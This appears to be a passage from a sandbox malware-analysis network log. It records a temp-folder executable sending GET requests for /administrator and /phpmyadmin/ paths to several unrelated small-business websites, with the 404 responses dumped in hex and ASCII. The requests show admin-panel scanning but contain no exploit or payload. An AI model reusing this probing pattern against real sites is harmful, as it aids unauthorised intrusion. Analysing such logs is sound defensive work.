2023-12-20 02:13:22 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	53591	198.185.159.144	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	179	OUT	GET /administrator/ HTTP/1.1 Host: www.rosetre.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	474	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:22 GMT Etag: W/"6489318175bdb8a8994fb802892e57ee" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BXCefCdIreo9ODA3YThlNGNkZWUyZTg4YWRmNDdhNzJlNDUzNmZk;Secure;Path=/ Strict-Transport-Security: max-age=0 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: eBTsfgbC/kRPpVixx Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:22 UTC	712	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:22 UTC	2372	IN	Data Raw: 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 73 65 74 72 65 20 4b 65 6e 6e 65 6c 73 22 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 6d 61 67 65 5f 73 72 63 22 20 68 72 65 66 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0a Data Ascii: nnels"/><meta property="og:type" content="website"/><meta property="og:image" content=""/><meta itemprop="name" content="Rosetre Kennels"/><meta itemprop="thumbnailUrl" content=""/><link rel="image_src" href="" /><meta itemprop="image" content=""/>
2023-12-20 02:13:22 UTC	538	IN	Data Raw: 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 6d 6f 6d 65 6e 74 2d 6a 73 2d 76 65 6e 64 6f 72 2d 66 33 36 62 36 64 63 39 38 36 37 61 64 30 62 38 64 30 61 38 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 65 78 74 72 61 63 74 5f 63 73 73 5f 6d 6f 6d 65 6e 74 5f 6a 73 5f 76 65 6e 64 6f 72 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 Data Ascii: ipts-compressed/extract-css-moment-js-vendor-f36b6dc9867ad0b8d0a8-min.en-US.js"]; })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/extr
2023-12-20 02:13:22 UTC	4744	IN	Data Raw: 5d 3b 20 7d 29 28 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 2c 20 27 73 71 75 61 72 65 73 70 61 63 65 2d 63 6c 64 72 5f 72 65 73 6f 75 72 63 65 5f 70 61 63 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 63 6c 64 72 2d 72 65 73 6f 75 72 63 65 2d 70 61 63 6b 2d 61 36 38 32 66 37 61 64 33 33 37 37 34 31 65 62 30 35 64 36 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 Data Ascii: ]; })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');</script><script crossorigin="anonymous" src="//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-a682f7ad337741eb05d6-min.en-US.js" defer ></script><script>(function(rollu
2023-12-20 02:13:22 UTC	5930	IN	Data Raw: 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 70 69 6e 74 65 72 65 73 74 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 31 65 34 34 39 36 39 33 37 63 63 64 35 35 64 61 38 34 62 37 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 70 69 6e 74 65 72 65 73 74 2d 33 63 31 34 36 64 35 37 33 36 32 33 61 64 36 36 64 30 36 33 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 Data Ascii: S.js"},"squarespace-pinterest":{"css":"//assets.squarespace.com/universal/styles-compressed/pinterest-1e4496937ccd55da84b7-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/pinterest-3c146d573623ad66d063-min.en-US.js"},"squarespac
2023-12-20 02:13:22 UTC	7116	IN	Data Raw: 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 64 69 73 70 6c 61 79 49 6d 70 6f 72 74 65 64 50 72 6f 64 75 63 74 52 65 76 69 65 77 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 68 61 73 4f 70 74 65 64 54 6f 43 6f 6c 6c 65 63 74 4e 61 74 69 76 65 52 65 76 69 65 77 73 22 3a 66 61 6c 73 65 7d 2c 22 69 73 4c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6d 75 6c 74 69 70 6c 65 51 75 61 6e 74 69 74 79 41 6c 6c 6f 77 65 64 46 6f 72 53 65 72 76 69 63 65 73 22 3a 74 72 75 65 7d 2c 22 75 73 65 45 73 63 61 70 65 4b 65 79 54 6f 4c 6f 67 69 6e 22 3a 74 72 75 65 2c 22 73 73 42 61 64 67 65 54 79 70 65 22 3a 31 2c 22 73 73 42 61 64 67 65 50 6f 73 69 74 69 6f 6e 22 3a 34 2c 22 73 73 42 61 64 67 65 56 69 73 69 62 69 6c 69 74 79 22 3a 31 2c 22 73 73 42 61 64 67 65 44 65 76 69 Data Ascii: Enabled":false,"displayImportedProductReviewsEnabled":false,"hasOptedToCollectNativeReviews":false},"isLive":false,"multipleQuantityAllowedForServices":true},"useEscapeKeyToLogin":true,"ssBadgeType":1,"ssBadgePosition":4,"ssBadgeVisibility":1,"ssBadgeDevi
2023-12-20 02:13:22 UTC	8302	IN	Data Raw: 64 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 6f 76 65 72 72 69 64 65 5f 62 6c 6f 63 6b 5f 73 74 79 6c 65 73 22 2c 22 63 75 73 74 6f 6d 69 7a 65 5f 69 74 65 6d 5f 70 61 79 77 61 6c 6c 69 6e 67 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 64 69 73 63 6f 75 6e 74 5f 73 65 63 74 69 6f 6e 5f 69 6e 5f 62 6c 61 73 74 73 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 79 70 65 6e 61 6d 65 5f 73 77 69 74 63 68 69 6e 67 22 2c 22 6d 65 6d 62 65 72 5f 61 72 65 61 73 5f 73 70 61 6e 69 73 68 5f 69 6e 74 65 72 76 69 65 77 73 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 74 68 75 6d 62 6e 61 69 6c 5f 6c 61 79 6f 75 74 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 Data Ascii: d","show_add_to_cart_in_plp","override_block_styles","customize_item_paywalling","campaigns_discount_section_in_blasts","marketing_landing_page","collection_typename_switching","member_areas_spanish_interviews","campaigns_thumbnail_layout","send_local_pic
2023-12-20 02:13:22 UTC	3060	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 73 6c 69 64 65 73 68 6f 77 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 Data Ascii: l),1);--list-section-banner-slideshow-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-banner-slideshow-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-banner-slideshow-card-button-background-color:hsla(va
2023-12-20 02:13:22 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 64 2d 62 61 73 69 63 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 77 68 69 74 65 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 67 72 69 64 2d 6f 76 65 72 6c 61 79 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f 76 65 72 2d 66 6f 6c 6c 6f 77 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 70 6f 72 74 66 6f 6c 69 6f 2d 68 6f Data Ascii: 8000d-basic-title-color:hsla(var(--black-hsl),1);--portfolio-grid-overlay-overlay-color:hsla(var(--white-hsl),1);--portfolio-grid-overlay-title-color:hsla(var(--black-hsl),1);--portfolio-hover-follow-title-color:hsla(var(--black-hsl),1);--portfolio-ho
2023-12-20 02:13:23 UTC	11860	IN	Data Raw: 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 64 61 74 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 65 76 65 6e 74 73 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 66 6f 72 6d 2d 62 6c 6f 63 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 6c 69 67 68 74 41 63 63 65 Data Ascii: weak-events-item-pagination-date-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-events-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-form-block-background-color:hsla(var(--lightAcce

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	53693	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	181	OUT	GET /administrator HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	1079	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038402.6551650886981415057 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:22 GMT X-Served-By: cache-dfw-kdfw8210024-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalvq3cKddBP6BaKhudZ7ySWnKI0QWrrlgZ7tR4O896/cHItIkCs/U86fSGfG/Wg5dOg==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:22 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-12-20 02:13:22 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-12-20 02:13:22 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-12-20 02:13:22 UTC	252	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	53953	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	414	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=57cae84e42777c96375a154584ecac4b9a349eab-1703038400; __cf_bm=oP6ilQZ0dnirqv0n7MtsXN4Xo36OUG0HeBhu77E.omM-1703038400-1-AWuOgWAbXkFAfwvE+HLotNFbRM5BGHGMTY4pZjeWK3a0SS4u21Z4qoaok6R7TImAX0QzIT89e8W/7ZM55sXGAbE= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	1346	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845da25fd06dda-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 57 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlz x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: 9371527a-01bc-4992-aad3-1d6ac04de9f6 X-HubSpot-NotFound: true x-request-id: 9371527a-01bc-4992-aad3-1d6ac04de9f6 X-Trace: 2B7E0E4F313D6EE1C42658B06698EC21FAEDF6A872000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CCmTjtVbc47LirRZLawBP7lUqzolNOU%2BoluvfUH14OhUWt%2BJEnbB%2FfYQF0JcSOL4JOXOgj2OutFk7dn7RHDzTpiVKRR7sFwXokZI%2FusBFD%2BOm56Gxvb3zDWaLciE8qg2JtujWN5IWrtO8nag6B4%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:23 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 32 35 61 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 25a3<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
